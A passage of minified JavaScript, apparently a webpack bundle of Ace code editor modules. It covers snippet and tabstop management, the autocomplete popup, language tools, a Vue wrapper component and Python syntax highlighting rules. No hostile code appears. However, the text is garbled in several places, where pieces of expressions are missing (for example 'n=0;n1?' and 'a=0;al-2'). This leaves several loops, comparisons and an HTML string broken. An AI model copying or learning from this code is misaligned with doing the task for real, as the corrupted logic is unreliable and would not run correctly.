indirect")}},2099:function(e,t){ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/event_emitter").EventEmitter,o=e("./lib/lang"),r=e("./range").Range,a=e("./anchor").Anchor,l=e("./keyboard/hash_handler").HashHandler,c=e("./tokenizer").Tokenizer,h=r.comparePoints,u=function(){this.snippetMap={},this.snippetNameMap={}};(function(){n.implement(this,s),this.getTokenizer=function(){function e(e,t,i){return e=e.substr(1),/^\d+$/.test(e)&&!i.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return"(?:[^\\\\"+e+"]|\\\\.)"}return u.$tokenizer=new c({start:[{regex:/:/,onMatch:function(e,t,i){return i.length&&i[0].expectIf?(i[0].expectIf=!1,i[0].elseBranch=i[0],[i[0]]):":"}},{regex:/\\./,onMatch:function(e,t,i){var n=e[1];return"}"==n&&i.length||-1!="`$\\".indexOf(n)?e=n:i.inFormatString&&("n"==n||"t"==n?e="\n":-1!="ulULE".indexOf(n)&&(e={changeCase:n,local:n>"a"})),[e]}},{regex:/}/,onMatch:function(e,t,i){return[i.length?i.shift():e]}},{regex:/\$(?:\d+|\w+)/,onMatch:e},{regex:/\$\{[\dA-Z_a-z]+/,onMatch:function(t,i,n){var s=e(t.substr(1),i,n);return n.unshift(s[0]),s},next:"snippetVar"},{regex:/\n/,token:"newline",merge:!1}],snippetVar:[{regex:"\\|"+t("\\|")+"*\\|",onMatch:function(e,t,i){i[0].choices=e.slice(1,-1).split(",")},next:"start"},{regex:"/("+t("/")+"+)/(?:("+t("/")+"*)/)(\\w*):?",onMatch:function(e,t,i){var n=i[0];return n.fmtString=e,e=this.splitRegex.exec(e),n.guard=e[1],n.fmt=e[2],n.flag=e[3],""},next:"start"},{regex:"`"+t("`")+"*`",onMatch:function(e,t,i){return i[0].code=e.splice(1,-1),""},next:"start"},{regex:"\\?",onMatch:function(e,t,i){i[0]&&(i[0].expectIf=!0)},next:"start"},{regex:"([^:}\\\\]|\\\\.)*:?",token:"",next:"start"}],formatString:[{regex:"/("+t("/")+"+)/",token:"regex"},{regex:"",onMatch:function(e,t,i){i.inFormatString=!0},next:"start"}]}),u.prototype.getTokenizer=function(){return u.$tokenizer},u.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map((function(e){return e.value||e}))},this.$getDefaultValue=function(e,t){if(/^[A-Z]\d+$/.test(t)){var i=t.substr(1);return(this.variables[t[0]+"__"]||{})[i]}if(/^\d+$/.test(t))return(this.variables.__||{})[t];if(t=t.replace(/^TM_/,""),e){var n=e.session;switch(t){case"CURRENT_WORD":var s=n.getWordRange();case"SELECTION":case"SELECTED_TEXT":return n.getTextRange(s);case"CURRENT_LINE":return n.getLine(e.getCursorPosition().row);case"PREV_LINE":return n.getLine(e.getCursorPosition().row-1);case"LINE_INDEX":return e.getCursorPosition().column;case"LINE_NUMBER":return e.getCursorPosition().row+1;case"SOFT_TABS":return n.getUseSoftTabs()?"YES":"NO";case"TAB_SIZE":return n.getTabSize();case"FILENAME":case"FILEPATH":return"";case"FULLNAME":return"Ace"}}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||"":this.$getDefaultValue(e,t)||""},this.tmStrFormat=function(e,t,i){var n=t.flag||"",s=t.guard;s=new RegExp(s,n.replace(/[^gi]/,""));var o=this.tokenizeTmSnippet(t.fmt,"formatString"),r=this,a=e.replace(s,(function(){r.variables.__=arguments;for(var e=r.resolveVariables(o,i),t="E",n=0;n1?(v=t[t.length-1].length,A+=t.length-1):v+=e.length,C+=e}else e.start?e.end={row:A,column:v}:e.start={row:A,column:v}}));var w=e.getSelectionRange(),F=e.session.replace(w,C),b=new d(e),E=e.inVirtualSelectionMode&&e.selection.index;b.addTabstops(a,w.start,F,E)},this.insertSnippet=function(e,t){var i=this;if(e.inVirtualSelectionMode)return i.insertSnippetForSelection(e,t);e.forEachSelection((function(){i.insertSnippetForSelection(e,t)}),null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||"";if(t=t.split("/").pop(),"html"===t||"php"===t){"php"!==t||e.session.$mode.inlinePhp||(t="html");var i=e.getCursorPosition(),n=e.session.getState(i.row);"object"===typeof n&&(n=n[0]),n.substring&&("js-"==n.substring(0,3)?t="javascript":"css-"==n.substring(0,4)?t="css":"php-"==n.substring(0,4)&&(t="php"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),i=[t],n=this.snippetMap;return n[t]&&n[t].includeScopes&&i.push.apply(i,n[t].includeScopes),i.push("_"),i},this.expandWithTab=function(e,t){var i=this,n=e.forEachSelection((function(){return i.expandSnippetForSelection(e,t)}),null,{keepOrder:!0});return n&&e.tabstopManager&&e.tabstopManager.tabNext(),n},this.expandSnippetForSelection=function(e,t){var i,n=e.getCursorPosition(),s=e.session.getLine(n.row),o=s.substring(0,n.column),r=s.substr(n.column),a=this.snippetMap;return this.getActiveScopes(e).some((function(e){var t=a[e];return t&&(i=this.findMatchingSnippet(t,o,r)),!!i}),this),!!i&&(t&&t.dryRun||(e.session.doc.removeInLine(n.row,n.column-i.replaceBefore.length,n.column+i.replaceAfter.length),this.variables.M__=i.matchBefore,this.variables.T__=i.matchAfter,this.insertSnippetForSelection(e,i.content),this.variables.M__=this.variables.T__=null),!0)},this.findMatchingSnippet=function(e,t,i){for(var n=e.length;n--;){var s=e[n];if((!s.startRe||s.startRe.test(t))&&((!s.endRe||s.endRe.test(i))&&(s.startRe||s.endRe)))return s.matchBefore=s.startRe?s.startRe.exec(t):[""],s.matchAfter=s.endRe?s.endRe.exec(i):[""],s.replaceBefore=s.triggerRe?s.triggerRe.exec(t)[0]:"",s.replaceAfter=s.endTriggerRe?s.endTriggerRe.exec(i)[0]:"",s}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){var i=this.snippetMap,n=this.snippetNameMap,s=this;function r(e){return e&&!/^\^?\(.*\)\$?$|^\\b$/.test(e)&&(e="(?:"+e+")"),e||""}function a(e,t,i){return e=r(e),t=r(t),i?(e=t+e,e&&"$"!=e[e.length-1]&&(e+="$")):(e+=t,e&&"^"!=e[0]&&(e="^"+e)),new RegExp(e)}function l(e){e.scope||(e.scope=t||"_"),t=e.scope,i[t]||(i[t]=[],n[t]={});var r=n[t];if(e.name){var l=r[e.name];l&&s.unregister(l),r[e.name]=e}i[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\w/.test(e.tabTrigger)&&(e.guard="\\b"),e.trigger=o.escapeRegExp(e.tabTrigger)),(e.trigger||e.guard||e.endTrigger||e.endGuard)&&(e.startRe=a(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,"",!0),e.endRe=a(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,"",!0))}e||(e=[]),e&&e.content?l(e):Array.isArray(e)&&e.forEach(l),this._signal("registerSnippets",{scope:t})},this.unregister=function(e,t){var i=this.snippetMap,n=this.snippetNameMap;function s(e){var s=n[e.scope||t];if(s&&s[e.name]){delete s[e.name];var o=i[e.scope||t],r=o&&o.indexOf(e);r>=0&&o.splice(r,1)}}e.content?s(e):Array.isArray(e)&&e.forEach(s)},this.parseSnippetFile=function(e){e=e.replace(/\r/g,"");var t,i=[],n={},s=/^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm;while(t=s.exec(e)){if(t[1])try{n=JSON.parse(t[1]),i.push(n)}catch(l){}if(t[4])n.content=t[4].replace(/^\t/gm,""),i.push(n),n={};else{var o=t[2],r=t[3];if("regex"==o){var a=/\/((?:[^\/\\]|\\.)*)|$/g;n.guard=a.exec(r)[1],n.trigger=a.exec(r)[1],n.endTrigger=a.exec(r)[1],n.endGuard=a.exec(r)[1]}else"snippet"==o?(n.tabTrigger=r.match(/^\S*/)[0],n.name||(n.name=r)):n[o]=r}}return i},this.getSnippetByName=function(e,t){var i,n=this.snippetNameMap;return this.getActiveScopes(t).some((function(t){var s=n[t];return s&&(i=s[e]),!!i}),this),i}}).call(u.prototype);var d=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=o.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on("change",this.$onChange),this.editor.on("changeSelection",this.$onChangeSelection),this.editor.on("changeSession",this.$onChangeSession),this.editor.commands.on("afterExec",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener("change",this.$onChange),this.editor.removeListener("changeSelection",this.$onChangeSelection),this.editor.removeListener("changeSession",this.$onChangeSession),this.editor.commands.removeListener("afterExec",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t="r"==e.action[0],i=e.start,n=e.end,s=i.row,o=n.row,r=o-s,a=n.column-i.column;if(t&&(r=-r,a=-a),!this.$inChange&&t){var l=this.selectedTabstop,c=l&&!l.some((function(e){return h(e.start,i)<=0&&h(e.end,n)>=0}));if(c)return this.detach()}for(var u=this.ranges,d=0;d0?(this.removeRange(g),d--):(g.start.row==s&&g.start.column>i.column&&(g.start.column+=a),g.end.row==s&&g.end.column>=i.column&&(g.end.column+=a),g.start.row>=s&&(g.start.row+=r),g.end.row>=s&&(g.end.row+=r),h(g.start,g.end)>0&&this.removeRange(g)))}u.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(e&&e.hasLinkedRanges){this.$inChange=!0;for(var i=this.editor.session,n=i.getTextRange(e.firstNonLinked),s=e.length;s--;){var o=e[s];if(o.linked){var r=t.snippetManager.tmStrFormat(n,o.original);i.replace(o,r)}}this.$inChange=!1}},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(this.editor){for(var e=this.editor.selection.lead,t=this.editor.selection.anchor,i=this.editor.selection.isEmpty(),n=this.ranges.length;n--;)if(!this.ranges[n].linked){var s=this.ranges[n].contains(e.row,e.column),o=i||this.ranges[n].contains(t.row,t.column);if(s&&o)return}this.detach()}},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,i=this.index+(e||1);i=Math.min(Math.max(i,1),t),i==t&&(i=0),this.selectTabstop(i),0===i&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];if(t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index],t&&t.length){if(this.selectedTabstop=t,this.editor.inVirtualSelectionMode)this.editor.selection.setRange(t.firstNonLinked);else{var i=this.editor.multiSelect;i.toSingleRange(t.firstNonLinked.clone());for(var n=t.length;n--;)t.hasLinkedRanges&&t[n].linked||i.addRange(t[n].clone(),!0);i.ranges[0]&&i.addRange(i.ranges[0].clone())}this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)}},this.addTabstops=function(e,t,i){if(this.$openTabstops||(this.$openTabstops=[]),!e[0]){var n=r.fromPoints(i,i);p(n.start,t),p(n.end,t),e[0]=[n],e[0].index=0}var s=this.index,o=[s+1,0],a=this.ranges;e.forEach((function(e,i){for(var n=this.$openTabstops[i]||e,s=e.length;s--;){var l=e[s],c=r.fromPoints(l.start,l.end||l.start);f(c.start,t),f(c.end,t),c.original=l,c.tabstop=n,a.push(c),n!=e?n.unshift(c):n[s]=c,l.fmtString?(c.linked=!0,n.hasLinkedRanges=!0):n.firstNonLinked||(n.firstNonLinked=c)}n.firstNonLinked||(n.hasLinkedRanges=!1),n===e&&(o.push(n),this.$openTabstops[i]=n),this.addTabstopMarkers(n)}),this),o.length>2&&(this.tabstops.length&&o.push(o.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,o))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){e.markerId||(e.markerId=t.addMarker(e,"ace_snippet-marker","text"))}))},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){t.removeMarker(e.markerId),e.markerId=null}))},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),-1!=t&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new l,this.keyboardHandler.bindKeys({Tab:function(e){t.snippetManager&&t.snippetManager.expandWithTab(e)||e.tabstopManager.tabNext(1)},"Shift-Tab":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(d.prototype);var g={};g.onChange=a.prototype.onChange,g.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},g.update=function(e,t,i){this.$insertRight=i,this.pos=e,this.onChange(t)};var f=function(e,t){0==e.row&&(e.column+=t.column),e.row+=t.row},p=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e("./lib/dom").importCssString(".ace_snippet-marker { -moz-box-sizing: border-box; box-sizing: border-box; background: rgba(194, 193, 208, 0.09); border: 1px dotted rgba(211, 208, 235, 0.62); position: absolute;}"),t.snippetManager=new u;var m=e("./editor").Editor;(function(){this.insertSnippet=function(e,i){return t.snippetManager.insertSnippet(this,e,i)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)})),ace.define("ace/autocomplete/popup",["require","exports","module","ace/virtual_renderer","ace/editor","ace/range","ace/lib/event","ace/lib/lang","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../virtual_renderer").VirtualRenderer,s=e("../editor").Editor,o=e("../range").Range,r=e("../lib/event"),a=e("../lib/lang"),l=e("../lib/dom"),c=function(e){var t=new n(e);t.$maxLines=4;var i=new s(t);return i.setHighlightActiveLine(!1),i.setShowPrintMargin(!1),i.renderer.setShowGutter(!1),i.renderer.setHighlightGutterLine(!1),i.$mouseHandler.$focusWaitTimout=0,i.$highlightTagPending=!0,i},h=function(e){var t=l.createElement("div"),i=new c(t);e&&e.appendChild(t),t.style.display="none",i.renderer.content.style.cursor="default",i.renderer.setStyle("ace_autocomplete"),i.setOption("displayIndentGuides",!1),i.setOption("dragDelay",150);var n,s=function(){};i.focus=s,i.$isFocused=!0,i.renderer.$cursorLayer.restartTimer=s,i.renderer.$cursorLayer.element.style.opacity=0,i.renderer.$maxLines=8,i.renderer.$keepTextAreaAtCursor=!1,i.setHighlightActiveLine(!1),i.session.highlight(""),i.session.$searchHighlight.clazz="ace_highlight-marker",i.on("mousedown",(function(e){var t=e.getDocumentPosition();i.selection.moveToPosition(t),u.start.row=u.end.row=t.row,e.stop()}));var h=new o(-1,0,-1,1/0),u=new o(-1,0,-1,1/0);u.id=i.session.addMarker(u,"ace_active-line","fullLine"),i.setSelectOnHover=function(e){e?h.id&&(i.session.removeMarker(h.id),h.id=null):h.id=i.session.addMarker(h,"ace_line-hover","fullLine")},i.setSelectOnHover(!1),i.on("mousemove",(function(e){if(n){if(n.x!=e.x||n.y!=e.y){n=e,n.scrollTop=i.renderer.scrollTop;var t=n.getDocumentPosition().row;h.start.row!=t&&(h.id||i.setRow(t),g(t))}}else n=e})),i.renderer.on("beforeRender",(function(){if(n&&-1!=h.start.row){n.$pos=null;var e=n.getDocumentPosition().row;h.id||i.setRow(e),g(e,!0)}})),i.renderer.on("afterRender",(function(){var e=i.getRow(),t=i.renderer.$textLayer,n=t.element.childNodes[e-t.config.firstRow];n!=t.selectedNode&&(t.selectedNode&&l.removeCssClass(t.selectedNode,"ace_selected"),t.selectedNode=n,n&&l.addCssClass(n,"ace_selected"))}));var d=function(){g(-1)},g=function(e,t){e!==h.start.row&&(h.start.row=h.end.row=e,t||i.session._emit("changeBackMarker"),i._emit("changeHoverMarker"))};i.getHoveredRow=function(){return h.start.row},r.addListener(i.container,"mouseout",d),i.on("hide",d),i.on("changeSelection",d),i.session.doc.getLength=function(){return i.data.length},i.session.doc.getLine=function(e){var t=i.data[e];return"string"==typeof t?t:t&&t.value||""};var f=i.session.bgTokenizer;return f.$tokenizeRow=function(e){var t=i.data[e],n=[];if(!t)return n;"string"==typeof t&&(t={value:t}),t.caption||(t.caption=t.value||t.name);for(var s,o,r=-1,a=0;al-2&&(c=c.substr(0,l-t.caption.length-3)+"…"),n.push({type:"rightAlignedText",value:c})}return n},f.$updateOnChange=s,f.start=s,i.session.$computeWidth=function(){return this.screenWidth=0},i.$blockScrolling=1/0,i.isOpen=!1,i.isTopdown=!1,i.autoSelect=!0,i.data=[],i.setData=function(e){i.setValue(a.stringRepeat("\n",e.length),-1),i.data=e||[],i.setRow(0)},i.getData=function(e){return i.data[e]},i.getRow=function(){return u.start.row},i.setRow=function(e){e=Math.max(this.autoSelect?0:-1,Math.min(this.data.length,e)),u.start.row!=e&&(i.selection.clearSelection(),u.start.row=u.end.row=e||0,i.session._emit("changeBackMarker"),i.moveCursorTo(e||0,0),i.isOpen&&i._signal("select"))},i.on("changeSelection",(function(){i.isOpen&&i.setRow(i.selection.lead.row),i.renderer.scrollCursorIntoView()})),i.hide=function(){this.container.style.display="none",this._signal("hide"),i.isOpen=!1},i.show=function(e,t,s){var o=this.container,r=window.innerHeight,a=window.innerWidth,l=this.renderer,c=l.$maxLines*t*1.4,h=e.top+this.$borderSize,u=h>r/2&&!s;u&&h+t+c>r?(l.$maxPixelHeight=h-2*this.$borderSize,o.style.top="",o.style.bottom=r-h+"px",i.isTopdown=!1):(h+=t,l.$maxPixelHeight=r-h-.2*t,o.style.top=h+"px",o.style.bottom="",i.isTopdown=!0),o.style.display="",this.renderer.$textLayer.checkForSizeChanges();var d=e.left;d+o.offsetWidth>a&&(d=a-o.offsetWidth),o.style.left=d+"px",this._signal("show"),n=null,i.isOpen=!0},i.getTextLeftOffset=function(){return this.$borderSize+this.renderer.$padding+this.$imageSize},i.$imageSize=0,i.$borderSize=1,i};l.importCssString(".ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line { background-color: #CAD6FA; z-index: 1;}.ace_editor.ace_autocomplete .ace_line-hover { border: 1px solid #abbffe; margin-top: -1px; background: rgba(233,233,253,0.4);}.ace_editor.ace_autocomplete .ace_line-hover { position: absolute; z-index: 2;}.ace_editor.ace_autocomplete .ace_scroller { background: none; border: none; box-shadow: none;}.ace_rightAlignedText { color: gray; display: inline-block; position: absolute; right: 4px; text-align: right; z-index: -1;}.ace_editor.ace_autocomplete .ace_completion-highlight{ color: #000; text-shadow: 0 0 0.01em;}.ace_editor.ace_autocomplete { width: 280px; z-index: 200000; background: #fbfbfb; color: #444; border: 1px lightgray solid; position: fixed; box-shadow: 2px 3px 5px rgba(0,0,0,.2); line-height: 1.4;}"),t.AcePopup=h})),ace.define("ace/autocomplete/util",["require","exports","module"],(function(e,t,i){"use strict";t.parForEach=function(e,t,i){var n=0,s=e.length;0===s&&i();for(var o=0;o=0;o--){if(!i.test(e[o]))break;s.push(e[o])}return s.reverse().join("")},t.retrieveFollowingIdentifier=function(e,t,i){i=i||n;for(var s=[],o=t;o=i?-1:t+1;break;case"start":t=0;break;case"end":t=i;break}this.popup.setRow(t)},this.insertMatch=function(e,t){if(e||(e=this.popup.getData(this.popup.getRow())),!e)return!1;if(e.completer&&e.completer.insertMatch)e.completer.insertMatch(this.editor,e);else{if(this.completions.filterText)for(var i,n=this.editor.selection.getAllRanges(),s=0;i=n[s];s++)i.start.column-=this.completions.filterText.length,this.editor.session.remove(i);e.snippet?l.insertSnippet(this.editor,e.snippet):this.editor.execCommand("insertstring",e.value||e)}this.detach()},this.commands={Up:function(e){e.completer.goTo("up")},Down:function(e){e.completer.goTo("down")},"Ctrl-Up|Ctrl-Home":function(e){e.completer.goTo("start")},"Ctrl-Down|Ctrl-End":function(e){e.completer.goTo("end")},Esc:function(e){e.completer.detach()},Return:function(e){return e.completer.insertMatch()},"Shift-Return":function(e){e.completer.insertMatch(null,{deleteSuffix:!0})},Tab:function(e){var t=e.completer.insertMatch();if(t||e.tabstopManager)return t;e.completer.goTo("down")},PageUp:function(e){e.completer.popup.gotoPageUp()},PageDown:function(e){e.completer.popup.gotoPageDown()}},this.gatherCompletions=function(e,t){var i=e.getSession(),n=e.getCursorPosition(),s=o.getCompletionPrefix(e);this.base=i.doc.createAnchor(n.row,n.column-s.length),this.base.$insertRight=!0;var r=[],a=e.completers.length;return e.completers.forEach((function(l,c){l.getCompletions(e,i,n,s,(function(i,n){!i&&n&&(r=r.concat(n)),t(null,{prefix:o.getCompletionPrefix(e),matches:r,finished:0===--a})}))})),!0},this.showPopup=function(e){this.editor&&this.detach(),this.activated=!0,this.editor=e,e.completer!=this&&(e.completer&&e.completer.detach(),e.completer=this),e.on("changeSelection",this.changeListener),e.on("blur",this.blurListener),e.on("mousedown",this.mousedownListener),e.on("mousewheel",this.mousewheelListener),this.updateCompletions()},this.updateCompletions=function(e){if(e&&this.base&&this.completions){var t=this.editor.getCursorPosition(),i=this.editor.session.getTextRange({start:this.base,end:t});if(i==this.completions.filterText)return;return this.completions.setFilter(i),this.completions.filtered.length?1!=this.completions.filtered.length||this.completions.filtered[0].value!=i||this.completions.filtered[0].snippet?void this.openPopup(this.editor,i,e):this.detach():this.detach()}var n=this.gatherCompletionsId;this.gatherCompletions(this.editor,function(t,i){var s=function(){if(i.finished)return this.detach()}.bind(this),o=i.prefix,r=i&&i.matches;if(!r||!r.length)return s();if(0===o.indexOf(i.prefix)&&n==this.gatherCompletionsId){this.completions=new h(r),this.exactMatch&&(this.completions.exactMatch=!0),this.completions.setFilter(o);var a=this.completions.filtered;return a.length&&(1!=a.length||a[0].value!=o||a[0].snippet)?this.autoInsert&&1==a.length&&i.finished?this.insertMatch(a[0]):void this.openPopup(this.editor,o,e):s()}}.bind(this))},this.cancelContextMenu=function(){this.editor.$mouseHandler.cancelContextMenu()},this.updateDocTooltip=function(){var e=this.popup,t=e.data,i=t&&(t[e.getHoveredRow()]||t[e.getRow()]),n=null;return i&&this.editor&&this.popup.isOpen?(this.editor.completers.some((function(e){return e.getDocTooltip&&(n=e.getDocTooltip(i)),n})),n||(n=i),"string"==typeof n&&(n={docText:n}),n&&(n.docHTML||n.docText)?void this.showDocTooltip(n):this.hideDocTooltip()):this.hideDocTooltip()},this.showDocTooltip=function(e){this.tooltipNode||(this.tooltipNode=a.createElement("div"),this.tooltipNode.className="ace_tooltip ace_doc-tooltip",this.tooltipNode.style.margin=0,this.tooltipNode.style.pointerEvents="auto",this.tooltipNode.tabIndex=-1,this.tooltipNode.onblur=this.blurListener.bind(this),this.tooltipNode.onclick=this.onTooltipClick.bind(this));var t=this.tooltipNode;e.docHTML?t.innerHTML=e.docHTML:e.docText&&(t.textContent=e.docText),t.parentNode||document.body.appendChild(t);var i=this.popup,n=i.container.getBoundingClientRect();t.style.top=i.container.style.top,t.style.bottom=i.container.style.bottom,window.innerWidth-n.right<320?(t.style.right=window.innerWidth-n.left+"px",t.style.left=""):(t.style.left=n.right+1+"px",t.style.right=""),t.style.display="block"},this.hideDocTooltip=function(){if(this.tooltipTimer.cancel(),this.tooltipNode){var e=this.tooltipNode;this.editor.isFocused()||document.activeElement!=e||this.editor.focus(),this.tooltipNode=null,e.parentNode&&e.parentNode.removeChild(e)}},this.onTooltipClick=function(e){var t=e.target;while(t&&t!=this.tooltipNode){if("A"==t.nodeName&&t.href){t.rel="noreferrer",t.target="_blank";break}t=t.parentNode}}}).call(c.prototype),c.startCommand={name:"startAutocomplete",exec:function(e){e.completer||(e.completer=new c),e.completer.autoInsert=!1,e.completer.autoSelect=!0,e.completer.showPopup(e),e.completer.cancelContextMenu()},bindKey:"Ctrl-Space|Ctrl-Shift-Space|Alt-Space"};var h=function(e,t){this.all=e,this.filtered=e,this.filterText=t||"",this.exactMatch=!1};(function(){this.setFilter=function(e){if(e.length>this.filterText&&0===e.lastIndexOf(this.filterText,0))var t=this.filtered;else t=this.all;this.filterText=e,t=this.filterCompletions(t,this.filterText),t=t.sort((function(e,t){return t.exactMatch-e.exactMatch||t.score-e.score}));var i=null;t=t.filter((function(e){var t=e.snippet||e.caption||e.value;return t!==i&&(i=t,!0)})),this.filtered=t},this.filterCompletions=function(e,t){var i=[],n=t.toUpperCase(),s=t.toLowerCase();e:for(var o,r=0;o=e[r];r++){var a=o.value||o.caption||o.snippet;if(a){var l,c,h=-1,u=0,d=0;if(this.exactMatch){if(t!==a.substr(0,t.length))continue e}else for(var g=0;g=0&&(p<0||f0&&(-1===h&&(d+=10),d+=c),u|=1<",r.escapeHTML(e.caption),"","
",r.escapeHTML(e.snippet)].join(""))}},u=[h,l,c];t.setCompleters=function(e){u.length=0,e&&u.push.apply(u,e)},t.addCompleter=function(e){u.push(e)},t.textCompleter=l,t.keyWordCompleter=c,t.snippetCompleter=h;var d={name:"expandSnippet",exec:function(e){return n.expandWithTab(e)},bindKey:"Tab"},g=function(e,t){f(t.session.$mode)},f=function(e){var t=e.$id;n.files||(n.files={}),p(t),e.modes&&e.modes.forEach(f)},p=function(e){if(e&&!n.files[e]){var t=e.replace("mode","snippets");n.files[e]={},o.loadModule(t,(function(t){t&&(n.files[e]=t,!t.snippets&&t.snippetText&&(t.snippets=n.parseSnippetFile(t.snippetText)),n.register(t.snippets||[],t.scope),t.includeScopes&&(n.snippetMap[t.scope].includeScopes=t.includeScopes,t.includeScopes.forEach((function(e){p("ace/mode/"+e)}))))}))}},m=function(e){var t=e.editor,i=t.completer&&t.completer.activated;if("backspace"===e.command.name)i&&!a.getCompletionPrefix(t)&&t.completer.detach();else if("insertstring"===e.command.name){var n=a.getCompletionPrefix(t);n&&!i&&(t.completer||(t.completer=new s),t.completer.autoInsert=!1,t.completer.showPopup(t))}},A=e("../editor").Editor;e("../config").defineOptions(A.prototype,"editor",{enableBasicAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:u),this.commands.addCommand(s.startCommand)):this.commands.removeCommand(s.startCommand)},value:!1},enableLiveAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:u),this.commands.on("afterExec",m)):this.commands.removeListener("afterExec",m)},value:!1},enableSnippets:{set:function(e){e?(this.commands.addCommand(d),this.on("changeMode",g),g(null,this)):(this.commands.removeCommand(d),this.off("changeMode",g))},value:!1}})})),function(){ace.acequire(["ace/ext/language_tools"],(function(){}))}()},"7c9e":function(e,t,i){var n=i("061c");e.exports={render:function(e){var t=this.height?this.px(this.height):"100%",i=this.width?this.px(this.width):"100%";return e("div",{attrs:{style:"height: "+t+"; width: "+i}})},props:{value:String,lang:!0,theme:String,height:!0,width:!0,options:Object},data:function(){return{editor:null,contentBackup:""}},methods:{px:function(e){return/^\d*$/.test(e)?e+"px":e}},watch:{value:function(e){this.contentBackup!==e&&(this.editor.session.setValue(e,1),this.contentBackup=e)},theme:function(e){this.editor.setTheme("ace/theme/"+e)},lang:function(e){this.editor.getSession().setMode("string"===typeof e?"ace/mode/"+e:e)},options:function(e){this.editor.setOptions(e)},height:function(){this.$nextTick((function(){this.editor.resize()}))},width:function(){this.$nextTick((function(){this.editor.resize()}))}},beforeDestroy:function(){this.editor.destroy(),this.editor.container.remove()},mounted:function(){var e=this,t=this.lang||"text",s=this.theme||"chrome";i("b378");var o=e.editor=n.edit(this.$el);o.$blockScrolling=1/0,this.$emit("init",o),o.getSession().setMode("string"===typeof t?"ace/mode/"+t:t),o.setTheme("ace/theme/"+s),this.value&&o.setValue(this.value,1),this.contentBackup=this.value,o.on("change",(function(){var t=o.getValue();e.$emit("input",t),e.contentBackup=t})),e.options&&o.setOptions(e.options)}}},8882:function(e,t){ace.define("ace/mode/python_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("./text_highlight_rules").TextHighlightRules,o=function(){var e="and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield|async|await",t="True|False|None|NotImplemented|Ellipsis|__debug__",i="abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern",n=this.createKeywordMapper({"invalid.deprecated":"debugger","support.function":i,"constant.language":t,keyword:e},"identifier"),s="(?:r|u|ur|R|U|UR|Ur|uR)?",o="(?:(?:[1-9]\\d*)|(?:0))",r="(?:0[oO]?[0-7]+)",a="(?:0[xX][\\dA-Fa-f]+)",l="(?:0[bB][01]+)",c="(?:"+o+"|"+r+"|"+a+"|"+l+")",h="(?:[eE][+-]?\\d+)",u="(?:\\.\\d+)",d="(?:\\d+)",g="(?:(?:"+d+"?"+u+")|(?:"+d+"\\.))",f="(?:(?:"+g+"|"+d+")"+h+")",p="(?:"+f+"|"+